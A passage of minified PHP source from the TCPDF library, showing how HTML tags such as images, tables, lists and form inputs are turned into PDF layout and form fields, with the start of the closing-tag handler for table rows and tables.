{$pre_h=$this->getCellHeight($this->FontSize);}if(isset($this->tagvspaces[$tag['value']][1]['n'])){$cn=$this->tagvspaces[$tag['value']][1]['n'];}elseif(preg_match('/[h][0-9]/',$tag['value'])>0){$cn=0.6;}else {$cn=1;}if(isset($this->tagvspaces[$tag['value']][1])){$hbc=($cn*$pre_h);}}switch($tag['value']){case 'img':{if(!empty($tag['attribute']['src'])){if($tag['attribute']['src'][0]==='@'){$tag['attribute']['src']='@'.base64_decode(substr($tag['attribute']['src'],1));$type='';}else {$type=TCPDF_IMAGES::getImageFileType($tag['attribute']['src']);}if(!isset($tag['width'])){$tag['width']=0;}if(!isset($tag['height'])){$tag['height']=0;}$tag['attribute']['align']='bottom';switch($tag['attribute']['align']){case 'top':{$align='T';break;}case 'middle':{$align='M';break;}case 'bottom':{$align='B';break;}default:{$align='B';break;}}$prevy=$this->y;$xpos=$this->x;$imglink='';if(isset($this->HREF['url']) AND !TCPDF_STATIC::empty_string($this->HREF['url'])){$imglink=$this->HREF['url'];if($imglink[0]=='#'){$lnkdata=explode(',',$imglink);if(isset($lnkdata[0])){$page=intval(substr($lnkdata[0],1));if(empty($page) OR ($page<=0)){$page=$this->page;}if(isset($lnkdata[1]) AND (strlen($lnkdata[1])>0)){$lnky=floatval($lnkdata[1]);}else {$lnky=0;}$imglink=$this->AddLink();$this->SetLink($imglink,$lnky,$page);}}}$border=0;if(isset($tag['border']) AND !empty($tag['border'])){$border=$tag['border'];}$iw='';if(isset($tag['width'])){$iw=$this->getHTMLUnitToUnits($tag['width'],($tag['fontsize']/$this->k),'px',false);}$ih='';if(isset($tag['height'])){$ih=$this->getHTMLUnitToUnits($tag['height'],($tag['fontsize']/$this->k),'px',false);}if(($type=='eps') OR ($type=='ai')){$this->ImageEps($tag['attribute']['src'],$xpos,$this->y,$iw,$ih,$imglink,true,$align,'',$border,true);}elseif($type=='svg'){$this->ImageSVG($tag['attribute']['src'],$xpos,$this->y,$iw,$ih,$imglink,$align,'',$border,true);}else {$this->Image($tag['attribute']['src'],$xpos,$this->y,$iw,$ih,'',$imglink,$align,false,300,'',false,false,$border,false,false,true);}switch($align){case 'T':{$this->y=$prevy;break;}case 'M':{$this->y=(($this->img_rb_y+$prevy-($this->getCellHeight($tag['fontsize']/$this->k)))/2);break;}case 'B':{$this->y=$this->img_rb_y-($this->getCellHeight($tag['fontsize']/$this->k)-($this->getFontDescent($tag['fontname'],$tag['fontstyle'],$tag['fontsize'])*$this->cell_height_ratio));break;}}}break;}case 'table':{$cp=0;$cs=0;$dom[$key]['rowspans']=array();if(!isset($dom[$key]['attribute']['nested']) OR ($dom[$key]['attribute']['nested']!='true')){$this->htmlvspace=0;if(!TCPDF_STATIC::empty_string($dom[$key]['thead'])){$this->thead=$dom[$key]['thead'];if(!isset($this->theadMargins) OR (empty($this->theadMargins))){$this->theadMargins=array();$this->theadMargins['cell_padding']=$this->cell_padding;$this->theadMargins['lmargin']=$this->lMargin;$this->theadMargins['rmargin']=$this->rMargin;$this->theadMargins['page']=$this->page;$this->theadMargins['cell']=$cell;$this->theadMargins['gvars']=$this->getGraphicVars();}}}$dom[$key]['old_cell_padding']=$this->cell_padding;if(isset($tag['attribute']['cellpadding'])){$pad=$this->getHTMLUnitToUnits($tag['attribute']['cellpadding'],1,'px');$this->SetCellPadding($pad);}elseif(isset($tag['padding'])){$this->cell_padding=$tag['padding'];}if(isset($tag['attribute']['cellspacing'])){$cs=$this->getHTMLUnitToUnits($tag['attribute']['cellspacing'],1,'px');}elseif(isset($tag['border-spacing'])){$cs=$tag['border-spacing']['V'];}$prev_y=$this->y;if($this->checkPageBreak(((2*$cp)+(2*$cs)+$this->lasth),'',false) OR ($this->y<$prev_y)){$this->inthead=true;$this->checkPageBreak($this->PageBreakTrigger+1);}break;}case 'tr':{$dom[$key]['cellpos']=array();break;}case 'hr':{if((isset($tag['height'])) AND ($tag['height']!='')){$hrHeight=$this->getHTMLUnitToUnits($tag['height'],1,'px');}else {$hrHeight=$this->GetLineWidth();}$this->addHTMLVertSpace($hbz,max($hb,($hrHeight/2)),$cell,$firsttag);$x=$this->GetX();$y=$this->GetY();$wtmp=$this->w-$this->lMargin-$this->rMargin;if($cell){$wtmp-=($this->cell_padding['L']+$this->cell_padding['R']);}if((isset($tag['width'])) AND ($tag['width']!='')){$hrWidth=$this->getHTMLUnitToUnits($tag['width'],$wtmp,'px');}else {$hrWidth=$wtmp;}$prevlinewidth=$this->GetLineWidth();$this->SetLineWidth($hrHeight);$this->Line($x,$y,$x+$hrWidth,$y);$this->SetLineWidth($prevlinewidth);$this->addHTMLVertSpace(max($hbc,($hrHeight/2)),0,$cell,!isset($dom[($key+1)]));break;}case 'a':{if(array_key_exists('href',$tag['attribute'])){$this->HREF['url']=$tag['attribute']['href'];}break;}case 'dl':{++$this->listnum;if($this->listnum==1){$this->addHTMLVertSpace($hbz,$hb,$cell,$firsttag);}else {$this->addHTMLVertSpace(0,0,$cell,$firsttag);}break;}case 'dt':{$this->addHTMLVertSpace($hbz,$hb,$cell,$firsttag);break;}case 'dd':{if($this->rtl){$this->rMargin+=$this->listindent;}else {$this->lMargin+=$this->listindent;}++$this->listindentlevel;$this->addHTMLVertSpace($hbz,$hb,$cell,$firsttag);break;}case 'ul':case 'ol':{++$this->listnum;if($tag['value']=='ol'){$this->listordered[$this->listnum]=true;}else {$this->listordered[$this->listnum]=false;}if(isset($tag['attribute']['start'])){$this->listcount[$this->listnum]=intval($tag['attribute']['start'])-1;}else {$this->listcount[$this->listnum]=0;}if($this->rtl){$this->rMargin+=$this->listindent;$this->x-=$this->listindent;}else {$this->lMargin+=$this->listindent;$this->x+=$this->listindent;}++$this->listindentlevel;if($this->listnum==1){if($key>1){$this->addHTMLVertSpace($hbz,$hb,$cell,$firsttag);}}else {$this->addHTMLVertSpace(0,0,$cell,$firsttag);}break;}case 'li':{if($key>2){$this->addHTMLVertSpace($hbz,$hb,$cell,$firsttag);}if($this->listordered[$this->listnum]){if(isset($parent['attribute']['type']) AND !TCPDF_STATIC::empty_string($parent['attribute']['type'])){$this->lispacer=$parent['attribute']['type'];}elseif(isset($parent['listtype']) AND !TCPDF_STATIC::empty_string($parent['listtype'])){$this->lispacer=$parent['listtype'];}elseif(isset($this->lisymbol) AND !TCPDF_STATIC::empty_string($this->lisymbol)){$this->lispacer=$this->lisymbol;}else {$this->lispacer='#';}++$this->listcount[$this->listnum];if(isset($tag['attribute']['value'])){$this->listcount[$this->listnum]=intval($tag['attribute']['value']);}}else {if(isset($parent['attribute']['type']) AND !TCPDF_STATIC::empty_string($parent['attribute']['type'])){$this->lispacer=$parent['attribute']['type'];}elseif(isset($parent['listtype']) AND !TCPDF_STATIC::empty_string($parent['listtype'])){$this->lispacer=$parent['listtype'];}elseif(isset($this->lisymbol) AND !TCPDF_STATIC::empty_string($this->lisymbol)){$this->lispacer=$this->lisymbol;}else {$this->lispacer='!';}}break;}case 'blockquote':{if($this->rtl){$this->rMargin+=$this->listindent;}else {$this->lMargin+=$this->listindent;}++$this->listindentlevel;$this->addHTMLVertSpace($hbz,$hb,$cell,$firsttag);break;}case 'br':{$this->addHTMLVertSpace($hbz,$hb,$cell,$firsttag);break;}case 'div':{$this->addHTMLVertSpace($hbz,$hb,$cell,$firsttag);break;}case 'p':{$this->addHTMLVertSpace($hbz,$hb,$cell,$firsttag);break;}case 'pre':{$this->addHTMLVertSpace($hbz,$hb,$cell,$firsttag);$this->premode=true;break;}case 'sup':{$this->SetXY($this->GetX(),$this->GetY()-((0.7*$this->FontSizePt)/$this->k));break;}case 'sub':{$this->SetXY($this->GetX(),$this->GetY()+((0.3*$this->FontSizePt)/$this->k));break;}case 'h1':case 'h2':case 'h3':case 'h4':case 'h5':case 'h6':{$this->addHTMLVertSpace($hbz,$hb,$cell,$firsttag);break;}case 'form':{if(isset($tag['attribute']['action'])){$this->form_action=$tag['attribute']['action'];}else {$this->Error('Please explicitly set action attribute path!');}if(isset($tag['attribute']['enctype'])){$this->form_enctype=$tag['attribute']['enctype'];}else {$this->form_enctype='application/x-www-form-urlencoded';}if(isset($tag['attribute']['method'])){$this->form_mode=$tag['attribute']['method'];}else {$this->form_mode='post';}break;}case 'input':{if(isset($tag['attribute']['name']) AND !TCPDF_STATIC::empty_string($tag['attribute']['name'])){$name=$tag['attribute']['name'];}else {break;}$prop=array();$opt=array();if(isset($tag['attribute']['readonly']) AND !TCPDF_STATIC::empty_string($tag['attribute']['readonly'])){$prop['readonly']=true;}if(isset($tag['attribute']['value']) AND !TCPDF_STATIC::empty_string($tag['attribute']['value'])){$value=$tag['attribute']['value'];}if(isset($tag['attribute']['maxlength']) AND !TCPDF_STATIC::empty_string($tag['attribute']['maxlength'])){$opt['maxlen']=intval($tag['attribute']['maxlength']);}$h=$this->getCellHeight($this->FontSize);if(isset($tag['attribute']['size']) AND !TCPDF_STATIC::empty_string($tag['attribute']['size'])){$w=intval($tag['attribute']['size'])*$this->GetStringWidth(chr(32))*2;}else {$w=$h;}if(isset($tag['attribute']['checked']) AND (($tag['attribute']['checked']=='checked') OR ($tag['attribute']['checked']=='true'))){$checked=true;}else {$checked=false;}if(isset($tag['align'])){switch($tag['align']){case 'C':{$opt['q']=1;break;}case 'R':{$opt['q']=2;break;}case 'L':default:{break;}}}switch($tag['attribute']['type']){case 'text':{if(isset($value)){$opt['v']=$value;}$this->TextField($name,$w,$h,$prop,$opt,'','',false);break;}case 'password':{if(isset($value)){$opt['v']=$value;}$prop['password']='true';$this->TextField($name,$w,$h,$prop,$opt,'','',false);break;}case 'checkbox':{if(!isset($value)){break;}$this->CheckBox($name,$w,$checked,$prop,$opt,$value,'','',false);break;}case 'radio':{if(!isset($value)){break;}$this->RadioButton($name,$w,$prop,$opt,$value,$checked,'','',false);break;}case 'submit':{if(!isset($value)){$value='submit';}$w=$this->GetStringWidth($value)*1.5;$h*=1.6;$prop=array('lineWidth'=>1,'borderStyle'=>'beveled','fillColor'=>array(196,196,196),'strokeColor'=>array(255,255,255));$action=array();$action['S']='SubmitForm';$action['F']=$this->form_action;if($this->form_enctype!='FDF'){$action['Flags']=array('ExportFormat');}if($this->form_mode=='get'){$action['Flags']=array('GetMethod');}$this->Button($name,$w,$h,$value,$action,$prop,$opt,'','',false);break;}case 'reset':{if(!isset($value)){$value='reset';}$w=$this->GetStringWidth($value)*1.5;$h*=1.6;$prop=array('lineWidth'=>1,'borderStyle'=>'beveled','fillColor'=>array(196,196,196),'strokeColor'=>array(255,255,255));$this->Button($name,$w,$h,$value,array('S'=>'ResetForm'),$prop,$opt,'','',false);break;}case 'file':{$prop['fileSelect']='true';$this->TextField($name,$w,$h,$prop,$opt,'','',false);if(!isset($value)){$value='*';}$w=$this->GetStringWidth($value)*2;$h*=1.2;$prop=array('lineWidth'=>1,'borderStyle'=>'beveled','fillColor'=>array(196,196,196),'strokeColor'=>array(255,255,255));$jsaction='var f=this.getField(\''.$name.'\'); f.browseForFileToSubmit();';$this->Button('FB_'.$name,$w,$h,$value,$jsaction,$prop,$opt,'','',false);break;}case 'hidden':{if(isset($value)){$opt['v']=$value;}$opt['f']=array('invisible','hidden');$this->TextField($name,0,0,$prop,$opt,'','',false);break;}case 'image':{if(isset($tag['attribute']['src']) AND !TCPDF_STATIC::empty_string($tag['attribute']['src'])){$img=$tag['attribute']['src'];}else {break;}$value='img';if(isset($tag['attribute']['onclick']) AND !empty($tag['attribute']['onclick'])){$jsaction=$tag['attribute']['onclick'];}else {$jsaction='';}$this->Button($name,$w,$h,$value,$jsaction,$prop,$opt,'','',false);break;}case 'button':{if(!isset($value)){$value=' ';}$w=$this->GetStringWidth($value)*1.5;$h*=1.6;$prop=array('lineWidth'=>1,'borderStyle'=>'beveled','fillColor'=>array(196,196,196),'strokeColor'=>array(255,255,255));if(isset($tag['attribute']['onclick']) AND !empty($tag['attribute']['onclick'])){$jsaction=$tag['attribute']['onclick'];}else {$jsaction='';}$this->Button($name,$w,$h,$value,$jsaction,$prop,$opt,'','',false);break;}}break;}case 'textarea':{$prop=array();$opt=array();if(isset($tag['attribute']['readonly']) AND !TCPDF_STATIC::empty_string($tag['attribute']['readonly'])){$prop['readonly']=true;}if(isset($tag['attribute']['name']) AND !TCPDF_STATIC::empty_string($tag['attribute']['name'])){$name=$tag['attribute']['name'];}else {break;}if(isset($tag['attribute']['value']) AND !TCPDF_STATIC::empty_string($tag['attribute']['value'])){$opt['v']=$tag['attribute']['value'];}if(isset($tag['attribute']['cols']) AND !TCPDF_STATIC::empty_string($tag['attribute']['cols'])){$w=intval($tag['attribute']['cols'])*$this->GetStringWidth(chr(32))*2;}else {$w=40;}if(isset($tag['attribute']['rows']) AND !TCPDF_STATIC::empty_string($tag['attribute']['rows'])){$h=intval($tag['attribute']['rows'])*$this->getCellHeight($this->FontSize);}else {$h=10;}$prop['multiline']='true';$this->TextField($name,$w,$h,$prop,$opt,'','',false);break;}case 'select':{$h=$this->getCellHeight($this->FontSize);if(isset($tag['attribute']['size']) AND !TCPDF_STATIC::empty_string($tag['attribute']['size'])){$h*=($tag['attribute']['size']+1);}$prop=array();$opt=array();if(isset($tag['attribute']['name']) AND !TCPDF_STATIC::empty_string($tag['attribute']['name'])){$name=$tag['attribute']['name'];}else {break;}$w=0;if(isset($tag['attribute']['opt']) AND !TCPDF_STATIC::empty_string($tag['attribute']['opt'])){$options=explode('#!NwL!#',$tag['attribute']['opt']);$values=array();foreach($options as $val){if(strpos($val,'#!TaB!#')!==false){$opts=explode('#!TaB!#',$val);$values[]=$opts;$w=max($w,$this->GetStringWidth($opts[1]));}else {$values[]=$val;$w=max($w,$this->GetStringWidth($val));}}}else {break;}$w*=2;if(isset($tag['attribute']['multiple']) AND ($tag['attribute']['multiple']='multiple')){$prop['multipleSelection']='true';$this->ListBox($name,$w,$h,$values,$prop,$opt,'','',false);}else {$this->ComboBox($name,$w,$h,$values,$prop,$opt,'','',false);}break;}case 'tcpdf':{if(defined('K_TCPDF_CALLS_IN_HTML') AND (K_TCPDF_CALLS_IN_HTML===true)){if(isset($tag['attribute']['method'])){$tcpdf_method=$tag['attribute']['method'];if(method_exists($this,$tcpdf_method)){if(isset($tag['attribute']['params']) AND (!empty($tag['attribute']['params']))){$params=$this->unserializeTCPDFtagParameters($tag['attribute']['params']);call_user_func_array(array($this,$tcpdf_method),$params);}else {$this->$tcpdf_method();}$this->newline=true;}}}break;}default:{break;}}$bordertags=array('blockquote','br','dd','dl','div','dt','h1','h2','h3','h4','h5','h6','hr','li','ol','p','pre','ul','tcpdf','table');if(in_array($tag['value'],$bordertags)){$dom[$key]['borderposition']=$this->getBorderStartPosition();}if($dom[$key]['self'] AND isset($dom[$key]['attribute']['pagebreakafter'])){$pba=$dom[$key]['attribute']['pagebreakafter'];if(($pba=='true') OR ($pba=='left') OR ($pba=='right')){$this->checkPageBreak($this->PageBreakTrigger+1);}if((($pba=='left') AND (((!$this->rtl) AND (($this->page%2)==0)) OR (($this->rtl) AND (($this->page%2)!=0)))) OR (($pba=='right') AND (((!$this->rtl) AND (($this->page%2)!=0)) OR (($this->rtl) AND (($this->page%2)==0))))){$this->checkPageBreak($this->PageBreakTrigger+1);}}return $dom;} function closeHTMLTagHandler($dom,$key,$cell,$maxbottomliney=0){$tag=$dom[$key];$parent=$dom[($dom[$key]['parent'])];$lasttag=((!isset($dom[($key+1)])) OR ((!isset($dom[($key+2)])) AND ($dom[($key+1)]['value']=='marker')));$in_table_head=false;if($this->rtl){$xmax=$this->w;}else {$xmax=0;}if($tag['block']){$hbz=0;$hb=0;if(isset($this->tagvspaces[$tag['value']][1]['h']) AND ($this->tagvspaces[$tag['value']][1]['h']>=0)){$pre_h=$this->tagvspaces[$tag['value']][1]['h'];}elseif(isset($parent['fontsize'])){$pre_h=$this->getCellHeight($parent['fontsize']/$this->k);}else {$pre_h=$this->getCellHeight($this->FontSize);}if(isset($this->tagvspaces[$tag['value']][1]['n'])){$cn=$this->tagvspaces[$tag['value']][1]['n'];}elseif(preg_match('/[h][0-9]/',$tag['value'])>0){$cn=0.6;}else {$cn=1;}if((!isset($this->tagvspaces[$tag['value']])) AND ($tag['value']=='div')){$hb=0;}else {$hb=($cn*$pre_h);}if($maxbottomliney>$this->PageBreakTrigger){$hbz=$this->getCellHeight($this->FontSize);}elseif($this->y<$maxbottomliney){$hbz=($maxbottomliney-$this->y);}}switch($tag['value']){case 'tr':{$table_el=$dom[($dom[$key]['parent'])]['parent'];if(!isset($parent['endy'])){$dom[($dom[$key]['parent'])]['endy']=$this->y;$parent['endy']=$this->y;}if(!isset($parent['endpage'])){$dom[($dom[$key]['parent'])]['endpage']=$this->page;$parent['endpage']=$this->page;}if(!isset($parent['endcolumn'])){$dom[($dom[$key]['parent'])]['endcolumn']=$this->current_column;$parent['endcolumn']=$this->current_column;}if(isset($dom[$table_el]['rowspans'])){foreach($dom[$table_el]['rowspans'] as $k=>$trwsp){$dom[$table_el]['rowspans'][$k]['rowspan']-=1;if($dom[$table_el]['rowspans'][$k]['rowspan']==0){if(($dom[$table_el]['rowspans'][$k]['endpage']==$parent['endpage']) AND ($dom[$table_el]['rowspans'][$k]['endcolumn']==$parent['endcolumn'])){$dom[($dom[$key]['parent'])]['endy']=max($dom[$table_el]['rowspans'][$k]['endy'],$parent['endy']);}elseif(($dom[$table_el]['rowspans'][$k]['endpage']>$parent['endpage']) OR ($dom[$table_el]['rowspans'][$k]['endcolumn']>$parent['endcolumn'])){$dom[($dom[$key]['parent'])]['endy']=$dom[$table_el]['rowspans'][$k]['endy'];$dom[($dom[$key]['parent'])]['endpage']=$dom[$table_el]['rowspans'][$k]['endpage'];$dom[($dom[$key]['parent'])]['endcolumn']=$dom[$table_el]['rowspans'][$k]['endcolumn'];}}}foreach($dom[$table_el]['rowspans'] as $k=>$trwsp){if($dom[$table_el]['rowspans'][$k]['rowspan']==0){$dom[$table_el]['rowspans'][$k]['endpage']=max($dom[$table_el]['rowspans'][$k]['endpage'],$dom[($dom[$key]['parent'])]['endpage']);$dom[($dom[$key]['parent'])]['endpage']=$dom[$table_el]['rowspans'][$k]['endpage'];$dom[$table_el]['rowspans'][$k]['endcolumn']=max($dom[$table_el]['rowspans'][$k]['endcolumn'],$dom[($dom[$key]['parent'])]['endcolumn']);$dom[($dom[$key]['parent'])]['endcolumn']=$dom[$table_el]['rowspans'][$k]['endcolumn'];$dom[$table_el]['rowspans'][$k]['endy']=max($dom[$table_el]['rowspans'][$k]['endy'],$dom[($dom[$key]['parent'])]['endy']);$dom[($dom[$key]['parent'])]['endy']=$dom[$table_el]['rowspans'][$k]['endy'];}}foreach($dom[$table_el]['rowspans'] as $k=>$trwsp){if($dom[$table_el]['rowspans'][$k]['rowspan']==0){$dom[$table_el]['rowspans'][$k]['endpage']=$dom[($dom[$key]['parent'])]['endpage'];$dom[$table_el]['rowspans'][$k]['endcolumn']=$dom[($dom[$key]['parent'])]['endcolumn'];$dom[$table_el]['rowspans'][$k]['endy']=$dom[($dom[$key]['parent'])]['endy'];}}}$prev_page=$this->page;$this->setPage($dom[($dom[$key]['parent'])]['endpage']);if($this->num_columns>1){if(($prev_page<$this->page) AND ((($this->current_column==0) AND ($dom[($dom[$key]['parent'])]['endcolumn']==($this->num_columns-1))) OR ($this->current_column==$dom[($dom[$key]['parent'])]['endcolumn']))){$this->selectColumn(0);$dom[($dom[$key]['parent'])]['endcolumn']=0;$dom[($dom[$key]['parent'])]['endy']=$this->y;}else {$this->selectColumn($dom[($dom[$key]['parent'])]['endcolumn']);$this->y=$dom[($dom[$key]['parent'])]['endy'];}}else {$this->y=$dom[($dom[$key]['parent'])]['endy'];}if(isset($dom[$table_el]['attribute']['cellspacing'])){$this->y+=$this->getHTMLUnitToUnits($dom[$table_el]['attribute']['cellspacing'],1,'px');}elseif(isset($dom[$table_el]['border-spacing'])){$this->y+=$dom[$table_el]['border-spacing']['V'];}$this->Ln(0,$cell);if($this->current_column==$parent['startcolumn']){$this->x=$parent['startx'];}if($this->page>$parent['startpage']){if(($this->rtl) AND ($this->pagedim[$this->page]['orm']!=$this->pagedim[$parent['startpage']]['orm'])){$this->x-=($this->pagedim[$this->page]['orm']-$this->pagedim[$parent['startpage']]['orm']);}elseif((!$this->rtl) AND ($this->pagedim[$this->page]['olm']!=$this->pagedim[$parent['startpage']]['olm'])){$this->x+=($this->pagedim[$this->page]['olm']-$this->pagedim[$parent['startpage']]['olm']);}}break;}case 'tablehead':$in_table_head=true;$this->inthead=false;case 'table':{$table_el=$parent;if(isset($table_el['attribute']['border']) AND ($table_el['attribute']['border']>0)){$border=array('LTRB'=>array('width'=>$this->getCSSBorderWidth($table_el['attribute']['border']),'cap'=>'square','join'=>'miter','dash'=>0,'color'=>array(0,0,0)));}else {$border=0;}$default_border=$border;foreach($dom[($dom[$key]['parent'])]['trids'] as $j=>$trkey){if(isset($dom[($dom[$key]['parent'])]['rowspans'])){foreach($dom[($dom[$key]['parent'])]['rowspans'] as $k=>$trwsp){if(isset($prevtrkey) AND ($trwsp['trid']==$prevtrkey) AND ($trwsp['mrowspan']>0)){$dom[($dom[$key]['parent'])]['rowspans'][$k]['trid']=$trkey;}if($dom[($dom[$key]['parent'])]['rowspans'][$k]['trid']==$trkey){$dom[($dom[$key]['parent'])]['rowspans'][$k]['mrowspan']-=1;}}}if(isset($prevtrkey) AND ($dom[$trkey]['startpage']>$dom[$prevtrkey]['endpage'])){$pgendy=$this->pagedim[$dom[$prevtrkey]['endpage']]['hk']-$this->pagedim[$dom[$prevtrkey]['endpage']]['bm'];$dom[$prevtrkey]['endy']=$pgendy;if(isset($dom[($dom[$key]['parent'])]['rowspans'])){foreach($dom[($dom[$key]['parent'])]['rowspans'] as $k=>$trwsp){if(($trwsp['trid']==$prevtrkey) AND ($trwsp['mrowspan']>=0) AND ($trwsp['endpage']==$dom[$prevtrkey]['endpage'])){$dom[($dom[$key]['parent'])]['rowspans'][$k]['endy']=$pgendy;$dom[($dom[$key]['parent'])]['rowspans'][$k]['mrowspan']=-1;}}}}$prevtrkey=$trkey;$table_el=$dom[($dom[$key]['parent'])];}if(count($table_el['trids'])>0){unset($xmax);}foreach($table_el['trids'] as $j=>$trkey){$parent=$dom[$trkey];if(!isset($xmax)){$xmax=$parent['cellpos'][(count($parent['cellpos'])-1)]['endx'];}foreach($parent['cellpos'] as $k=>$cellpos){if(isset($cellpos['rowspanid']) AND ($cellpos['rowspanid']>=0)){$cellpos['startx']=$table_el['rowspans'][($cellpos['rowspanid'])]['startx'];$cellpos['endx']=$table_el['rowspans'][($cellpos['rowspanid'])]['endx'];$endy=$table_el['rowspans'][($cellpos['rowspanid'])]['endy'];$startpage=$table_el['rowspans'][($cellpos['rowspanid'])]['startpage'];$endpage=$table_el['rowspans'][($cellpos['rowspanid'])]['endpage'];$startcolumn=$table_el['rowspans'][($cellpos['rowspanid'])]['startcolumn'];$endcolumn=$table_el['rowspans'][($cellpos['rowspanid'])]['endcolumn'];}else {$endy=$parent['endy'];$startpage=$parent['startpage'];$endpage=$parent['endpage'];$startcolumn=$parent['startcolumn'];$endcolumn=$parent['endcolumn'];}if($this->num_columns==0){$this->num_columns=1;}if(isset($cellpos['border'])){$border=$cellpos['border'];}if(isset($cellpos['bgcolor']) AND ($cellpos['bgcolor'])!==false){$this->SetFillColorArray($cellpos['bgcolor']);$fill=true;}else {$fill=false;}$x=$cellpos['startx'];$y=$parent['starty'];$starty=$y;$w=abs($cellpos['endx']-$cellpos['startx']);$border_start=TCPDF_STATIC::getBorderMode($border,$position='start',$this->opencell);$border_end=TCPDF_STATIC::getBorderMode($border,$position='end',$this->opencell);$border_middle=TCPDF_STATIC::getBorderMode($border,$position='middle',$this->opencell);for($page=$startpage;$page<=$endpage;++$page){$ccode='';$this->setPage($page);if($this->num_columns<2){$this->x=$x;$this->y=$this->tMargin;}if($page>$startpage){if(($this->rtl) AND ($this->pagedim[$page]['orm']!=$this->pagedim[$startpage]['orm'])){$this->x-=($this->pagedim[$page]['orm']-$this->pagedim[$startpage]['orm']);}elseif((!$this->rtl) AND ($this->pagedim[$page]['olm']!=$this->pagedim[$startpage]['olm'])){$this->x+=($this->pagedim[$page]['olm']-$this->pagedim[$startpage]['olm']);}}if($startpage==$endpage){$deltacol=0;$deltath=0;for($column=$startcolumn;$column<=$endcolumn;++$column){$this->selectColumn($column);if($startcolumn==$endcolumn){$cborder=$border;$h=$endy-$parent['starty'];$this->y=$y;$this->x=$x;}elseif($column==$startcolumn){$cborder=$border_start;$this->y=$starty;$this->x=$x;$h=$this->h-$this->y-$this->bMargin;if($this->rtl){$deltacol=$this->x+$this->rMargin-$this->w;}else {$deltacol=$this->x-$this->lMargin;}}elseif($column==$endcolumn){$cborder=$border_end;if(isset($this->columns[$column]['th']['\''.$page.'\''])){$this->y=$this->columns[$column]['th']['\''.$page.'\''];}$this->x+=$deltacol;$h=$endy-$this->y;}else {$cborder=$border_middle;if(isset($this->columns[$column]['th']['\''.$page.'\''])){$this->y=$this->columns[$column]['th']['\''.$page.'\''];}$this->x+=$deltacol;$h=$this->h-$this->y-$this->bMargin;}$ccode.=$this->getCellCode($w,$h,'',$cborder,1,'',$fill,'',0,true)."
";}}elseif($page==$startpage){$deltacol=0;$deltath=0;for($column=$startcolumn;$column<$this->num_columns;++$column){$this->selectColumn($column);if($column==$startcolumn){$cborder=$border_start;$this->y=$starty;$this->x=$x;$h=$this->h-$this->y-$this->bMargin;if($this->rtl){$deltacol=$this->x+$this->rMargin-$this->w;}else {$deltacol=$this->x-$this->lMargin;}}else {$cborder=$border_middle;if(isset($this->columns[$column]['th']['\''.$page.'\''])){$this->y=$this->columns[$column]['th']['\''.$page.'\''];}$this->x+=$deltacol;$h=$this->h-$this->y-$this->bMargin;}$ccode.=$this->getCellCode($w,$h,'',$cborder,1,'',$fill,'',0,true)."
";}}elseif($page==$endpage){$deltacol=0;$deltath=0;for($column=0;$column<=$endcolumn;++$column){$this->selectColumn($column);if($column==$endcolumn){$cborder=$border_end;if(isset($this->columns[$column]['th']['\''.$page.'\''])){$this->y=$this->columns[$column]['th']['\''.$page.'\''];}$this->x+=$deltacol;$h=$endy-$this->y;}else {$cborder=$border_middle;if(isset($this->columns[$column]['th']['\''.$page.'\''])){$this->y=$this->columns[$column]['th']['\''.$page.'\''];}$this->x+=$deltacol;$h=$this->h-$this->y-$this->bMargin;}$ccode.=$this->getCellCode($w,$h,'',$cborder,1,'',$fill,'',0,true)."
";}}else {$deltacol=0;$deltath=0;for($column=0;$column<$this->num_columns;++$column){$this->selectColumn($column);$cborder=$border_middle;if(isset($this->columns[$column]['th']['\''.$page.'\''])){$this->y=$this->columns[$column]['th']['\''.$page.'\''];}$this->x+=$deltacol;$h=$this->h-$this->y-$this->bMargin;$ccode.=$this->getCellCode($w,$h,'',$cborder,1,'',$fill,'',0,true)."
";}}if(!empty($cborder) OR !empty($fill)){$offsetlen=strlen($ccode);if($this->inxobj){if(end($this->xobjects[$this->xobjid]['transfmrk'])!==false){$pagemarkkey=key($this->xobjects[$this->xobjid]['transfmrk']);$pagemark=$this->xobjects[$this->xobjid]['transfmrk'][$pagemarkkey];$this->xobjects[$this->xobjid]['transfmrk'][$pagemarkkey]+=$offsetlen;}else {$pagemark=$this->xobjects[$this->xobjid]['intmrk'];$this->xobjects[$this->xobjid]['intmrk']+=$offsetlen;}$pagebuff=$this->xobjects[$this->xobjid]['outdata'];$pstart=substr($pagebuff,0,$pagemark);$pend=substr($pagebuff,$pagemark);$this->xobjects[$this->xobjid]['outdata']=$pstart.$ccode.$pend;}else {if(end($this->transfmrk[$this->page])!==false){$pagemarkkey=key($this->transfmrk[$this->page]);$pagemark=$this->transfmrk[$this->page][$pagemarkkey];}elseif($this->InFooter){$pagemark=$this->footerpos[$this->page];}else {$pagemark=$this->intmrk[$this->page];}$pagebuff=$this->getPageBuffer($this->page);$pstart=substr($pagebuff,0,$pagemark);$pend=substr($pagebuff,$pagemark);$this->setPageBuffer($this->page,$pstart.$ccode.$pend);}}}$border=$default_border;}if(isset($table_el['attribute']['cellspacing'])){$this->y+=$this->getHTMLUnitToUnits($table_el['attribute']['cellspacing'],1,'px');}elseif(isset($table_el['border-spacing'])){$this->y+=$table_el['border-spacing']['V'];}$this->Ln(0,$cell);$this->x=$parent['startx'];if($endpage>$startpage){if(($this->rtl) AND ($this->pagedim[$endpage]['orm']!=$this->pagedim[$startpage]['orm'])){$this->x+=($this->pagedim[$endpage]['orm']-$this->pagedim[$startpage]['orm']);}elseif((!$this->rtl) AND ($this->pagedim[$endpage]['olm']!=$this->pagedim[$startpage]['olm'])){$this->x+=($this->pagedim[$endpage]['olm']-$this->pagedim[$startpage]['olm']);}}}if(!$in_table_head){$this->cell_padding=$table_el['old_cell_padding'];$this->resetLastH();if(($this->page==($this->numpages-1)) AND ($this->pageopen[$this->numpages])){$plendiff=($this->pagelen[$this->numpages]-$this->emptypagemrk[$this->numpages]);if(($plendiff>0) AND ($plendiff<60)){$pagediff=substr($this->getPageBuffer($this->numpages),$this->emptypagemrk[$this->numpages],$plendiff);if(substr($pagediff,0,5)=='BT /F'){$plendiff=0;}}if($plendiff==0){$this->deletePage($this->numpages);}}if(isset($this->theadMargins['top'])){$this->tMargin=$this->theadMargins['top'];}if(!isset($table_el['attribute']['nested']) OR ($table_el['attribute']['nested']!='true')){$this->thead='';$this->theadMargins=array();$this->pagedim[$this->page]['tm']=$this->tMargin;}}$parent=$table_el;break;}case 'a':{$this->HREF='';break;}case 'sup':{$this->SetXY($this->GetX(),$this->GetY()+((0.7*$parent['fontsize'])/$this->k));break;}case 'sub':{$this->SetXY($this->GetX(),$this->GetY()-((0.3*$parent['fontsize'])/$this->k));break;}case 